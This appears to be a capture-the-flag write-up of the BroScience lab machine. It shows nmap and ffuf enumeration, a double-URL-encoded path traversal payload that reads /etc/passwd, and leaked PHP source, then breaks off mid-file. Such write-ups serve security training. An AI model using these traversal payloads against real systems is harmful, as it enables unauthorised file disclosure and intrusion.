Machine Info

Spoiler

BroScience chains a double-URL-encoding bypass of an LFI filter into full source disclosure, a time-seeded activation code that can be regenerated offline, a PHP object injection in the theme cookie that writes a web shell, salted MD5 hashes from PostgreSQL for SSH as bill, and a root cron job that drops a certificate’s Common Name into bash -c.

In the contrary the official HTB path and description of the box goes as follows:

BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site’s theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine’s main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Running second nmap scan with open ports: 22,80,443
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-30 17:15 +0100
Nmap scan report for broscience.htb (VICTIM-IP)
Host is up (0.0053s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
|   256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
|_  256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH plus Apache on 80, which only redirects to HTTPS on 443. The PHPSESSID cookie tells us the app is PHP.

1
echo 'VICTIM-IP broscience.htb' | sudo tee -a /etc/hosts

Web enumeration

A gym blog with exercises, comments and user profiles. Registering works, but the account has to be activated through a link “sent by email” before we can log in — a dead end for now.

Profiles live at user.php?id=N and need no login, so we enumerate them (an IDOR — any profile, any visitor):

1
2
3
4
5
6
7
└─$ ffuf -u https://broscience.htb/user.php?id=FUZZ -w ./num.txt -mr "Member since"

4                       [Status: 200, Size: 1964, Words: 720, Lines: 46, Duration: 31ms]
2                       [Status: 200, Size: 1964, Words: 720, Lines: 46, Duration: 71ms]
3                       [Status: 200, Size: 1973, Words: 720, Lines: 46, Duration: 71ms]
1                       [Status: 200, Size: 1992, Words: 720, Lines: 46, Duration: 57ms]
5                       [Status: 200, Size: 1970, Words: 720, Lines: 46, Duration: 63ms]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

Content and includes/ fuzzing:

1
2
3
4
5
6
└─$ ffuf -u https://broscience.htb/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/big.txt

activate                [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 9ms]
comment                 [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 7ms]
exercise                [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 5ms]
index                   [Status: 200, Size: 9301, Words: 3953, Lines: 147, Duration: 41ms]
1
2
3
4
5
6
7
└─$ ffuf -u https://broscience.htb/includes/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/big.txt

db_connect              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 12ms]
header                  [Status: 200, Size: 369, Words: 10, Lines: 5, Duration: 5ms]
img                     [Status: 200, Size: 39, Words: 4, Lines: 1, Duration: 4ms]
navbar                  [Status: 500, Size: 65, Words: 5, Lines: 2, Duration: 5ms]
utils                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 8ms]

The exercise images on the home page are served through includes/img.php?path= — a file path in a parameter:

1
2
3
4
5
└─$ curl -sk https://broscience.htb/includes/img.php
<b>Error:</b> Missing 'path' parameter.

└─$ curl -sk 'https://broscience.htb/includes/img.php?path=/etc/passwd'
<b>Error:</b> Attack detected.

LFI — double URL encoding

After a lot of payload tinkering, double URL encoding gets through. The source of img.php (read later through this same LFI) shows exactly why:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);

There are two decodes with the filter in between:

SentAfter PHP fills $_GET (filter sees this)After urldecode() (file read uses this)
../../ → blocked—
..%2F../ → blocked—
..%252F..%2F → passes../

The filter checks the once-decoded value, then the code decodes a second time and uses the result. Encoding every character twice also works (and hides etc/passwd and .ssh from the blacklist):

1
2
GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 HTTP/1.1
Host: broscience.htb
1
2
3
4
5
6
root:x:0:0:root:/root:/bin/bash
...
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

bill is the only login user, and postgres hints at the database. Since img.php uses file_get_contents(), not include(), PHP files come back as source, not executed — perfect for code review.

The base directory is /var/www/html/images/, so four ../ reach /. To fuzz, we double-encode that prefix by hand and let ffuf double-encode each wordlist entry with its -enc encoders:

%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F => ../../../../
1
2
3
└─$ ffuf -u 'https://broscience.htb/includes/img.php?path=%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252FFUZZ' \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 0 \
     -enc 'FUZZ:urlencodeall urlencodeall'
Tip
-enc (ffuf ≥ 2.1.0) runs each wordlist entry through pencode encoders before it goes into the request; listing two chains them left to right. urlencodeall encodes every byte, unlike urlencode (reserved characters only), and uses uppercase hex (. → %2E → %25%32%45) — servers don’t care about hex case. The ffuf output then shows the encoded payload, so decode the hits to read them. Use a plain wordlist: entries that are already encoded get encoded twice more and turn into noise.

Reading the source

The vhost config gives the web root:

/etc/apache2/sites-enabled/000-default.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<VirtualHost *:80>
	ServerName broscience.htb
	Redirect permanent / https://broscience.htb/	
</VirtualHost>
<VirtualHost *:443>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
	SSLEngine on
	SSLCertificateFile /etc/apache2/certificate/apache-certificate.crt
	SSLCertificateKeyFile /etc/apache2/certificate/apache.key
</VirtualHost>

Fuzzing /var/www/html/ and /var/www/html/includes/ through the LFI (same prefix trick, raft-small-files.txt), decoded hits:

register.php     [Status: 200, Size: 5743, Words: 2289, Lines: 117]
index.php        [Status: 200, Size: 2182, Words: 798, Lines: 50]
login.php        [Status: 200, Size: 3028, Words: 1075, Lines: 80]
logout.php       [Status: 200, Size: 93, Words: 2, Lines: 6]
comment.php      [Status: 200, Size: 930, Words: 103, Lines: 33]
user.php         [Status: 200, Size: 5052, Words: 2140, Lines: 119]
activate.php     [Status: 200, Size: 2026, Words: 608, Lines: 63]
update_user.php  [Status: 200, Size: 3040, Words: 561, Lines: 84]

includes/header.php      [Status: 200, Size: 369, Words: 10, Lines: 5]
includes/img.php         [Status: 200, Size: 483, Words: 58, Lines: 22]
includes/db_connect.php  [Status: 200, Size: 337, Words: 30, Lines: 14]
includes/navbar.php      [Status: 200, Size: 1201, Words: 310, Lines: 25]

What the review turned up:

  • All SQL is parameterized (pg_prepare / pg_execute with $1 placeholders, IDs through FILTER_VALIDATE_INT) — no SQLi anywhere.
  • user.php has no auth check (the IDOR above) and echoes the email without escaping; exercise.php echoes title, content and author raw — but only exercise authors control those.
  • Passwords are stored as md5($db_salt . $password).
  • includes/utils.php holds the two real bugs: the activation code generator and the theme cookie.
Full source — register / login / activate / user / update_user / comment / index / exercise

register.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
        // Check if passwords match
        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
            // Check if email is too long
            if (strlen($_POST['email']) <= 100) {
                // Check if email is valid
                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
                    // Check if username is valid
                    if (strlen($_POST['username']) <= 100) {
                        // Check if user exists already    
                        include_once 'includes/db_connect.php';

                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
                        
                        if (pg_num_rows($res) == 0) {
                            // Check if email is registered already
                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));

                            if (pg_num_rows($res) == 0) {
                                // Create the account
                                include_once 'includes/utils.php';
                                $activation_code = generate_activation_code();
                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

                                if (pg_num_rows($res) == 0) {
                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

                                    // TODO: Send the activation link to email
                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

                                    $alert = "Account created. Please check your email for the activation link.";
                                    $alert_type = "success";
                                } else {
                                    $alert = "Failed to generate a valid activation code, please try again.";
                                }
                            } else {
                                $alert = "An account with this email already exists.";
                            }
                        }
                        else {
                            $alert = "Username is already taken.";
                        }
                    } else {
                        $alert = "Maximum username length is 100 characters.";
                    }
                } else {
                    $alert = "Please enter a valid email address.";
                }
            } else {
                $alert = "Maximum email length is 100 characters.";
            }
        } else {
            $alert = "Passwords do not match.";
        }
    } else {
        $alert = "Please fill all fields in.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Register</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="register.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Register</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="email" class="uk-input" type="email" placeholder="Email">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Register</button>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

login.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted log in form
if (isset($_POST['username']) && isset($_POST['password'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['password'])) {    
        include_once 'includes/db_connect.php';
        
        // Check if username:password is correct
        $res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
        $res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
        
        if (pg_num_rows($res) == 1) {
            // Check if account is activated
            $row = pg_fetch_row($res);
            if ((bool)$row[2]) {
                // User is logged in
                $_SESSION['id'] = $row[0];
                $_SESSION['username'] = $row[1];
                $_SESSION['is_admin'] = $row[3];

                // Redirect to home page
                header('Location: /index.php');
            } else {
                $alert = "Account is not activated yet";
            }
        } else {
            $alert = "Username or password is incorrect.";
        }
    } else {
        $alert = "Please fill in both username and password.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Log In</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="login.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Log In</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Log in</button>
                    </div>
                    <div class="uk-margin">
                        <a href="register.php">Create an account</a>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

activate.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
                
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}
?>

<html>
    <head>
        <title>BroScience : Activate account</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
                <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            ?>
        </div>
    </body>
</html>

user.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
session_start();

// Is it a proper request?
if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
            include_once 'includes/db_connect.php';
            $res = pg_prepare($db_conn, "get_user_query", 'SELECT username, email, is_activated::int, is_admin::int, date_created FROM users WHERE id = $1');
            $res = pg_execute($db_conn, "get_user_query", array($_GET['id']));

            if (pg_num_rows($res) > 0) {
                $row = pg_fetch_row($res);
            } else {
                $alert = "No user with that ID";
            }
        } else {
            $alert = "Invalid ID value";
        }
    } else {
        $alert = "Empty ID value";
    }
} else {
    $alert = "Missing ID value";
}
?>

<html>
    <head>
        <title>BroScience : <?php if (isset($row)) {echo htmlspecialchars($row[0],ENT_QUOTES,'UTF-8');} else {echo "View user";}?></title>
        <?php 
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        ?>
        <link rel="stylesheet" href="styles/<?=$theme?>.css">
    </head>
    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
            <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            if (isset($row)) {
            ?>
                <h1 class="uk-heading-small"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></h1>
                <!-- TODO: Avatars -->
                <dl class="uk-description-list">
                    <dt>Member since</dt>
                    <dd><?=rel_time($row[4])?></dd>
                    <dt>Email Address</dt>
                    <dd><?=$row[1]?></dd>
                    <dt>Total exercises posted</dt>
                    <dd>
                        <?php
                        $res = pg_prepare($db_conn, "get_num_exercises_query", 'SELECT COUNT(*) FROM exercises WHERE author_id = $1');
                        $res = pg_execute($db_conn, "get_num_exercises_query", array($_GET['id']));
                        $row2 = pg_fetch_row($res);
                        echo $row2[0];
                        ?>
                    </dd>
                    <dt>Total comments posted</dt>
                    <dd>
                        <?php
                        $res = pg_prepare($db_conn, "get_num_comments_query", 'SELECT COUNT(*) FROM comments WHERE author_id = $1');
                        $res = pg_execute($db_conn, "get_num_comments_query", array($_GET['id']));
                        $row3 = pg_fetch_row($res);
                        echo $row3[0];
                        ?>
                    </dd>
                    <dt>Is activated</dt>
                    <dd>
                        <?=(bool)$row[2]?'Yes':'No'?>
                    </dd>
                    <dt>Is admin</dt>
                    <dd>
                        <?=(bool)$row[3]?'Yes':'No'?>
                    </dd>
                </dl>
            <?php 
                // Check if we are logged in
                if (isset($_SESSION['id'])) {
                    if ($_SESSION['id'] === $_GET['id'] || $_SESSION['is_admin']) {
                        // We are logged in as this user, add the edit form
                        ?>
                        <hr>
                        <form class="uk-form-stacked" method="POST" action="update_user.php">
                            <fieldset class="uk-fieldset">
                                <legend class="uk-legend">Edit User</legend>
                                <div class="uk-margin">
                                    <input name="username" class="uk-input" type="text" placeholder="New username">
                                </div>
                                <div class="uk-margin">
                                    <input name="email" class="uk-input" type="email" placeholder="New email">
                                </div>
                                <div class="uk-margin">
                                    <input name="password" class="uk-input" placeholder="New password">
                                </div>
                                <div class="uk-margin">
                                    <button class="uk-button uk-button-default" type="submit">Update</button>
                                </div>
                                <input type="hidden" name="id" value="<?=$_GET['id']?>">
                            </fieldset>
                        </form>
                        <?php
                    }
                }
            }
            ?>
        </div>
    </body>
</html>

update_user.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
session_start();

// Check if user is not logged in
if (!isset($_SESSION['id'])) {
    header('Location: /login.php');
    echo "Not logged in";
    die();
}

// Check that all parameters are filled out
if (!isset($_POST['id']) || !isset($_POST['username']) || !isset($_POST['email']) || !isset($_POST['password'])) {
    header('Location: /index.php');
    echo "Missing parameters";
    die();
}

// Check that parameters are not empty
if (empty($_POST['id'])) {
    header('Location: /index.php');
    echo "Empty parameters";
    die();
}

// Check that we have permissions
include_once 'includes/db_connect.php';

$res = pg_prepare($db_conn, "is_admin_query", 'SELECT is_admin::int FROM users WHERE id = $1');
$res = pg_execute($db_conn, "is_admin_query", array($_SESSION['id']));
$row = pg_fetch_row($res);
$_SESSION['is_admin'] = $row[0]; // Update value since we can

if ($_SESSION['id'] !== $_POST['id'] && !(bool)$row[0]) {
    header("Location: /user.php?id={$_POST['id']}");
    echo "Missing permissions";
    die();
}

// Update the user
if (!empty($_POST['username'])) {
    if (strlen($_POST['username']) <= 100) {
        // Ensure username is unique
        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
        if (pg_num_rows($res) == 0) {
            $res = pg_prepare($db_conn, "update_user_username_query", 'UPDATE users SET username = $1 WHERE id = $2');
            $res = pg_execute($db_conn, "update_user_username_query", array($_POST['username'], $_POST['id']));

            // Update session username if we are logged in as this user
            if ($_SESSION['id'] === $_POST['id']) {
                $_SESSION['username'] = $_POST['username'];
            }
        } else {
            echo "Skipping username which already exists\n";
        }
    } else {
        echo "Skipped invalid username\n";
    }
}

if (!empty($_POST['email'])) {
    if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
        // Ensure email is unique
        $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
        $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
        if (pg_num_rows($res) == 0) {
            $res = pg_prepare($db_conn, "update_user_email_query", 'UPDATE users SET email = $1 WHERE id = $2');
            $res = pg_execute($db_conn, "update_user_email_query", array($_POST['email'], $_POST['id']));
        } else {
            echo "Skipping email which already exists\n";
        }
    } else {
        echo "Skipped invalid email\n";
    }
}

if (!empty($_POST['password'])) {
    $res = pg_prepare($db_conn, "update_user_password_query", 'UPDATE users SET password = $1 WHERE id = $2');
    $res = pg_execute($db_conn, "update_user_password_query", array(md5($db_salt . $_POST['password']), $_POST['id']));
}

header("Location: /user.php?id={$_POST['id']}");
echo "User updated";
?>

comment.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();

// Check if user is not logged in
if (!isset($_SESSION['id'])) {
    header('Location: /login.php');
    echo "Not logged in";
    die();
}

// Check that all parameters are filled out
if (!isset($_POST['content']) || !isset($_POST['exercise_id'])) {
    header('Location: /index.php');
    echo "Missing parameters";
    die();
}

// Check that parameters are not empty
if (empty($_POST['content']) || empty($_POST['exercise_id'])) {
    header('Location: /index.php');
    echo "Empty parameters";
    die();
}

// Add the comment
include_once 'includes/db_connect.php';

$res = pg_prepare($db_conn, "add_comment_query", 'INSERT INTO comments (exercise_id, author_id, content) VALUES ($1, $2, $3)');
$res = pg_execute($db_conn, "add_comment_query", array($_POST['exercise_id'], $_SESSION['id'], $_POST['content']));

header("Location: /exercise.php?id={$_POST['exercise_id']}");
echo "Comment posted";
?>

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
session_start();
?>

<html>
    <head>
        <title>BroScience : Home</title>
        <?php 
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        ?>
        <link rel="stylesheet" href="styles/<?=$theme?>.css">
    </head>
    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-margin">
            <!-- TODO: Search bar -->
            <?php
            include_once 'includes/db_connect.php';
                    
            // Load exercises
            $res = pg_query($db_conn, 'SELECT exercises.id, username, title, image, SUBSTRING(content, 1, 100), exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id');
            if (pg_num_rows($res) > 0) {
                echo '<div class="uk-child-width-1-2@s uk-child-width-1-3@m" uk-grid>';
                while ($row = pg_fetch_row($res)) {
                    ?>
                    <div>
                        <div class="uk-card uk-card-default <?=(strcmp($theme,"light"))?"uk-card-secondary":""?>">
                            <div class="uk-card-media-top">
                                <img src="includes/img.php?path=<?=$row[3]?>" width="600" height="600" alt="">
                            </div>
                            <div class="uk-card-body">
                                <a href="exercise.php?id=<?=$row[0]?>" class="uk-card-title"><?=$row[2]?></a>
                                <p><?=$row[4]?>... <a href="exercise.php?id=<?=$row[0]?>">keep reading</a></p>
                            </div>
                            <div class="uk-card-footer">
                                <p class="uk-text-meta">Written by <a class="uk-link-text" href="user.php?id=<?=$row[6]?>"><?=htmlspecialchars($row[1],ENT_QUOTES,'UTF-8')?></a> <?=rel_time($row[5])?></p>
                            </div>
                        </div>
                    </div>
                    
                    <?php
                }
                echo '</div>';
            } 
            ?>
        </div>
    </body>
</html>

exercise.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
<?php
session_start();

if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
            include_once 'includes/db_connect.php';

            $res = pg_prepare($db_conn, "get_exercise_query", 'SELECT exercises.id, username, title, image, content, exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id WHERE exercises.id=$1');
            $res = pg_execute($db_conn, "get_exercise_query", array($_GET['id']));
                        
            if (pg_num_rows($res) > 0) {     
                $row = pg_fetch_row($res);
            } else {
                $alert = "No exercise with that ID";
            }
        } else {
            $alert = "Invalid ID value";
        }
    } else {
        $alert = "Empty ID value";
    }
} else {
    $alert = "Missing ID value";
}
?>
<html>
    <head>
        <title>BroScience : <?php if (isset($row)) {echo $row[2];} else {echo "View exercise";}?></title>
        <?php 
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        ?>
        <link rel="stylesheet" href="styles/<?=$theme?>.css">
    </head>
    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-margin uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
            <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            if (isset($row)) {
                ?>
                <article class="uk-article">
                    <h1 class="uk-article-title"><?=$row[2]?></h1>
                    <p class="uk-article-meta">Written <?=rel_time($row[5])?> by <a class="uk-link-text" href="user.php?id=<?=$row[6]?>"><?=$row[1]?></a></p>
                    <div class="uk-background-contain uk-background-muted uk-height-medium uk-panel uk-flex uk-flex-center uk-flex-middle" style="background-image: url(includes/img.php?path=<?=$row[3]?>);"></div>
                    <p><?=$row[4]?></p>
                </article>
                <hr>
